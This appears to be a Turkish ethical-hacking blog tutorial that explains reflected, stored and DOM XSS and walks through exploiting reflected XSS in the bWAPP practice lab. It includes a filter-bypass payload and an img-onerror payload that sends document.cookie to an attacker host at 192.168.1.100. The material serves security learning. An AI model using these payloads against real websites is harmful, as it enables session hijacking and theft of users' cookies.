root@eyupturan:~$ cat xss-injection-uygulama-bwapp.md
[ ETIK HACKERLıK ]

XSS injection Uygulama – bWAPP

XSS İnjection Nedir ?

XSS(cross site scripting),türkçe karşılığı çapraz kod çalıştırma olan bu zafiyet dinamik internet siteleri içerisine js(javascript)kodları enjekte etmemizi ve çalıştırmamızı sağlayan bir güvenlik açığıdır.

Web güvenlik açıkları arasında en popüler ve en yaygın olarak bulunan zafiyettir.

Geçmişte twitter, facebook ve youtube gibi birçok popüler uygulamalar xss saldırılarından etkilenmiştir.

<script>alert('Hacked by eyup')</script>

Yukarıdaki kodda bulunan alert bir hata mesajını tetiklemekte ve ekranda ‘Hacked by eyup’ yazılı bir pop up çıkarmaktadır.

<img src=x onerror=this.src='http://192.168.1.100/?c='+document.cookie>

Bu kodda yine bir javascript kodu olarak ‘document.cookie’ adında bir parametre kullanarak site üzerindeki çerezleri kendi local ağımıza yönlendirmemize yarayan bir koddur.

Cookie bilgileri çalınabilir. Web sayfası başka bir sayfaya yönlendirilebilir. Farklı bir sunucudan zararlı kodlar çalıştırılabilir. Keylogger olarak kullanılabilir. XSS dışında html vb. zafiyetler de mevcut olabilir.

Reflected XSS= Kullanıcıdan aldığı input(girdi) ile yazılan zararlı kodlar sistemin veritabanına kayıt edilmez bu yüzden kalıcı olmayan kodlar çalıştırılabildiği için reflected olarak kullanılır.

Stored XSS= Reflected çeşidinin tam tersi olarak kullanıcıdan alınan girdiler sistemin veritabanına kayıt edilir bunun sonucunda kalıcı bir xss zafiyeti oluşur. Bu zafiyet sizin profilinizi ya da kodu eklediğiniz sayfayı ziyaret eden kullanıcıların maruz kalacağı bir güvenlik zafiyetidir.

Dom(Document Object Model) XSS=Bu türde bütün işlem istemci tarafında gerçekleşir. Bunun diğer türlerden en büyük farkı, Dom XSS istemci tarafında gerçekleştiği için ana sunucu bunun farkında olmayacaktır.

Şimdi bWAPP makinamız üzerinden zaafiyetimizi sömürmeye çalışacağız

XSS Reflected (AJAX/JSON) Uygulaması

Şimdi burda java script kodları deniyeceğiz. Eğer java script kod bilgimiz yok ise google’de “xss payload” şeklinde arama yaparak birçok xss zaafiyetine yönelik hazırlanmış kodlar mevcutdur. Normal bir sızma testi yaparken tüm encode tekniklerini tüm bypass tekniklerini denemek lazım birkaç teknik denedik burda xss zaafiyeti yok denemez. “Html encode” şeklinde bir arama yaparak kodları encode ederek injection denenebilir. Bütün teknik ve yöntemler denenmelidir.

bWAPP açılır menüsünden Cross-Site-Scripting – Reflected (AJAX/JSON) açığını seçiyoruz ve Hack butonuna basıyoruz. Burada bizden film ismi girilmesini istiyor.

JavaScript alert kullanarak sayfa üzerinde bir örnek gerçekleştirelim.

<script>alert('deneme')</script>

JavaScript kodu çalıştırılamazsa HTML kodu çalıştırmayı deneyebiliriz. Aşağıda bir HTML çalıştırmak için örnek yazıyoruz.

<b>Deneme</b>

Sayfa içerisinde HTML kodu çalıştırabiliyoruz. Script çalıştırabilmek için HTML’de img taginde onError kullanıyoruz. onError, bir veri veya resim yüklenirken hata meydana geldiği zaman tetiklenir. onError içerisine alert ekliyoruz.

bWAPP makinamız üzerinden XSS için fonksiyonu img içerisinde AJAX websitesinde çalıştırmayı başardık.

Bu hatanın çözümü olarak, PHP kullanılan ortamda özel karakterleri HTML’e dönüştürmek için htmlspecialchars API’si kullanılabilirsiniz.

XSS Reflected (GET) Methodu

Açılır menüden A3 – Cross-Site Scripting (XSS) başlığı altında Reflected (GET) seçip Hack dedikten sonra zorluğunu Medium olarak set edin.

Ardından karşınıza çıkan ekranda First Name alanına alert giriyoruz. Password yerine de düz metin olarak 123 yazıyoruz. Ancak burada alerti bu şekilde çalıştıramayız. Script’imiz URL’de gözükür fakat çalıştırılamaz. Bunu engelleyen şey filtrelerdir. Filtrelemeyi atlatmamız gerekir.

Buradaki filtrelemeyi aşmak için aşağıdaki payload’ımızı kullanıyoruz. Filtreleme atlatmak için script’i kapatmış olarak gösterip, istediğimiz scripti yazıyoruz.

</script><script>alert(1)</script>

Alert fonksiyonumuz filtrelemeyi aşarak yukarıdaki resim gibi çalışacaktır.

“Xss payload” şeklinde arama yaparak çok daha farklı xss kodları methodları yöntemleri vs bulunabilir.

Umarım faydalı olmuştur.

www.eyupturan.com

https://eyupturan.com

Eyüp TURAN
Yazar

Eyüp TURAN

Yorum Yap